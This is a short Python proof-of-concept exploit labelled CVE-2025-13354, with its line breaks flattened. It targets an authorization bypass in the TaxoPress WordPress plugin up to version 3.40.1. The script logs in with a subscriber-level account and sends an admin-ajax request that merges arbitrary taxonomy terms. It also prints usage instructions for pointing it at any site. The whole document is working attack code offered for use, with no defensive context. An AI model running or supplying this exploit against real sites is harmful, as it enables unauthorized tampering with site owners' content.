CVE-2025-13354

import requests import sys # CVE-2025-13354 PoC - Taxonomy Manager Authorization Bypass # Target: WordPress site with TaxoPress plugin <= 3.40.1 def exploit_taxonomy_merge(target_url, username, password, source_term_id, target_term_id): """ Exploit the authorization bypass in taxopress_merge_terms_batch function to merge arbitrary taxonomy terms. Args: target_url: WordPress site URL username: Valid WordPress username (subscriber level or higher) password: User password source_term_id: ID of the source term to merge from target_term_id: ID of the target term to merge into """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Exploit the authorization bypass ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'taxopress_merge_terms_batch', 'source_term_id': source_term_id, 'target_term_id': target_term_id, 'taxonomy': 'post_tag' # Can be any registered taxonomy } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent - Terms merged: {source_term_id} -> {target_term_id}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <source_term_id> <target_term_id>") print(f"Example: python {sys.argv[0]} http://example.com admin password 5 10") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] source_term_id = sys.argv[4] target_term_id = sys.argv[5] exploit_taxonomy_merge(target_url, username, password, source_term_id, target_term_id)

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